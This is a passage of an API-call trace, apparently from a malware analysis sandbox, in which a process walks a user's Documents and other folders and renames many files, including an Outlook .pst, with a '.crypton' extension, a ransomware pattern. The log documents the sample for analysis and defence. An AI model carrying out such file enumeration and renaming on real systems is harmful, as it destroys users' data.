lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\JxktDT7J.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\jxktdt7j.docx.crypton"), dwFlags=0x2) returned 1 [0215.309] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\MD96G.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\md96g.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\MD96G.csv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\md96g.csv.crypton"), dwFlags=0x2) returned 1 [0215.322] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\nltiA7oJ2V.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\nltia7oj2v.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\nltiA7oJ2V.pps.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\nltia7oj2v.pps.crypton"), dwFlags=0x2) returned 1 [0215.341] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\qFKHvUHEEQ7MRo4nn.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\qfkhvuheeq7mro4nn.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\qFKHvUHEEQ7MRo4nn.doc.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\qfkhvuheeq7mro4nn.doc.crypton"), dwFlags=0x2) returned 1 [0215.378] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\qYdFuhfQzCQ-0YA.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\qydfuhfqzcq-0ya.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\qYdFuhfQzCQ-0YA.rtf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\qydfuhfqzcq-0ya.rtf.crypton"), dwFlags=0x2) returned 1 [0215.450] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\_IwvAeXX9x6In.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\_iwvaexx9x6in.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\_IwvAeXX9x6In.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\_iwvaexx9x6in.pptx.crypton"), dwFlags=0x2) returned 1 [0215.477] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9sl_kp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9sl_kp.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9sl_kp.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9sl_kp.xlsx.crypton"), dwFlags=0x2) returned 1 [0215.529] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\awedyq_ieQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awedyq_ieq.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\awedyq_ieQ.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awedyq_ieq.xlsx.crypton"), dwFlags=0x2) returned 1 [0215.572] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\btvLi.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\btvli.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\btvLi.csv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\btvli.csv.crypton"), dwFlags=0x2) returned 1 [0215.578] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b56d990, ftCreationTime.dwHighDateTime=0x1d4cb3f, ftLastAccessTime.dwLowDateTime=0xfdda84a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfdda84a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0215.661] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\6sRA8LUGKuQrnN c.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\6sra8lugkuqrnn c.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\6sRA8LUGKuQrnN c.rtf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\6sra8lugkuqrnn c.rtf.crypton"), dwFlags=0x2) returned 1 [0215.867] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\c5_HcZSJmEcgwIQYyLv.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\c5_hczsjmecgwiqyylv.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\c5_HcZSJmEcgwIQYyLv.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\c5_hczsjmecgwiqyylv.ods.crypton"), dwFlags=0x2) returned 1 [0215.880] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\eecjNBMJ E Fw8RUEs.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\eecjnbmj e fw8rues.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\eecjNBMJ E Fw8RUEs.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\eecjnbmj e fw8rues.ods.crypton"), dwFlags=0x2) returned 1 [0215.900] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\GFs5.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\gfs5.xls"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\GFs5.xls.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\gfs5.xls.crypton"), dwFlags=0x2) returned 1 [0215.920] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\Vd0m.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\vd0m.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\B_4CMQ9j\\Vd0m.pdf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\b_4cmq9j\\vd0m.pdf.crypton"), dwFlags=0x2) returned 1 [0215.960] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EE_M8In.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ee_m8in.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EE_M8In.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ee_m8in.ods.crypton"), dwFlags=0x2) returned 1 [0215.986] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Fd1nwF8W.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fd1nwf8w.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Fd1nwF8W.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fd1nwf8w.docx.crypton"), dwFlags=0x2) returned 1 [0215.996] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gnBD6nnx9d0Q8qs1.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gnbd6nnx9d0q8qs1.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gnBD6nnx9d0Q8qs1.odt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gnbd6nnx9d0q8qs1.odt.crypton"), dwFlags=0x2) returned 1 [0216.032] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kiaq5xr-t4xhf0tjQg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kiaq5xr-t4xhf0tjqg.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kiaq5xr-t4xhf0tjQg.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kiaq5xr-t4xhf0tjqg.pptx.crypton"), dwFlags=0x2) returned 1 [0216.072] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvWcUU.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvwcuu.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lvWcUU.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lvwcuu.pptx.crypton"), dwFlags=0x2) returned 1 [0216.123] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MpBGb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpbgb.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MpBGb.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mpbgb.docx.crypton"), dwFlags=0x2) returned 1 [0216.128] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3fa1a0, ftCreationTime.dwHighDateTime=0x1d4c684, ftLastAccessTime.dwLowDateTime=0xa01d5ae0, ftLastAccessTime.dwHighDateTime=0x1d4c9bc, ftLastWriteTime.dwLowDateTime=0xa01d5ae0, ftLastWriteTime.dwHighDateTime=0x1d4c9bc, nFileSizeHigh=0x0, nFileSizeLow=0x9405, dwReserved0=0x2e0035, dwReserved1=0x6c0078, cFileName="Vd0m.pdf", cAlternateFileName="")) returned 0xffffffff [0216.131] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3fa1a0, ftCreationTime.dwHighDateTime=0x1d4c684, ftLastAccessTime.dwLowDateTime=0xa01d5ae0, ftLastAccessTime.dwHighDateTime=0x1d4c9bc, ftLastWriteTime.dwLowDateTime=0xa01d5ae0, ftLastWriteTime.dwHighDateTime=0x1d4c9bc, nFileSizeHigh=0x0, nFileSizeLow=0x9405, dwReserved0=0x2e0035, dwReserved1=0x6c0078, cFileName="Vd0m.pdf", cAlternateFileName="")) returned 0xffffffff [0216.138] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xfe303620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe303620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.145] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xfe303620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe303620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0216.149] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0216.160] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Npv6Q_PmhkCg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\npv6q_pmhkcg.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Npv6Q_PmhkCg.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\npv6q_pmhkcg.docx.crypton"), dwFlags=0x2) returned 1 [0216.170] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xfe34f8e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe34f8e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.413] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.crypton"), dwFlags=0x2) returned 1 [0216.431] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pU7dy3x7DabiQL.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pu7dy3x7dabiql.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pU7dy3x7DabiQL.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pu7dy3x7dabiql.pptx.crypton"), dwFlags=0x2) returned 1 [0216.448] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SGYzi2Ls.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sgyzi2ls.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SGYzi2Ls.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sgyzi2ls.docx.crypton"), dwFlags=0x2) returned 1 [0216.455] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T8GhG\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ffb7010, ftCreationTime.dwHighDateTime=0x1d4d531, ftLastAccessTime.dwLowDateTime=0xfe5fd1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe5fd1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.488] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T8GhG\\7Dlkb.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t8ghg\\7dlkb.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\T8GhG\\7Dlkb.odt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t8ghg\\7dlkb.odt.crypton"), dwFlags=0x2) returned 1 [0216.508] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tdHOEa126S6b2EYyV.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tdhoea126s6b2eyyv.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tdHOEa126S6b2EYyV.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tdhoea126s6b2eyyv.docx.crypton"), dwFlags=0x2) returned 1 [0216.589] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tFmx.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tfmx.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tFmx.csv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tfmx.csv.crypton"), dwFlags=0x2) returned 1 [0216.595] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab941a40, ftCreationTime.dwHighDateTime=0x1d4c817, ftLastAccessTime.dwLowDateTime=0xfe753e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe753e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.631] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\r8E9f89z_XfyI.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\r8e9f89z_xfyi.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\r8E9f89z_XfyI.pdf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\r8e9f89z_xfyi.pdf.crypton"), dwFlags=0x2) returned 1 [0216.638] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\R9FD502rh.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\r9fd502rh.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\R9FD502rh.pdf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\r9fd502rh.pdf.crypton"), dwFlags=0x2) returned 1 [0216.684] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\ruQrcJPX.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\ruqrcjpx.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\ruQrcJPX.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\ruqrcjpx.ods.crypton"), dwFlags=0x2) returned 1 [0216.689] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\TAjMgg2T3_zNy1ZNb5O.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\tajmgg2t3_zny1znb5o.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\TAjMgg2T3_zNy1ZNb5O.odt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\tajmgg2t3_zny1znb5o.odt.crypton"), dwFlags=0x2) returned 1 [0216.707] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\W2cTSvTtmZfQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\w2ctsvttmzfq.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\W2cTSvTtmZfQ.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\w2ctsvttmzfq.xlsx.crypton"), dwFlags=0x2) returned 1 [0216.731] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\YfOQlCwyYx8x7nNY.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\yfoqlcwyyx8x7nny.odp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\YfOQlCwyYx8x7nNY.odp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\yfoqlcwyyx8x7nny.odp.crypton"), dwFlags=0x2) returned 1 [0216.781] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\yJkNXg8t.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\yjknxg8t.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wzupcdrp\\yJkNXg8t.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzupcdrp\\yjknxg8t.ods.crypton"), dwFlags=0x2) returned 1 [0216.814] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xYCf6qT.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xycf6qt.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xYCf6qT.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xycf6qt.xlsx.crypton"), dwFlags=0x2) returned 1 [0216.866] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zJ1Dyv2SmPV.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zj1dyv2smpv.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zJ1Dyv2SmPV.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zj1dyv2smpv.xlsx.crypton"), dwFlags=0x2) returned 1 [0216.877] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea016c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea016c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0216.880] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea016c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea016c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0216.885] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea27820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea27820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.890] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea27820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea27820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.898] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea27820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea27820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, 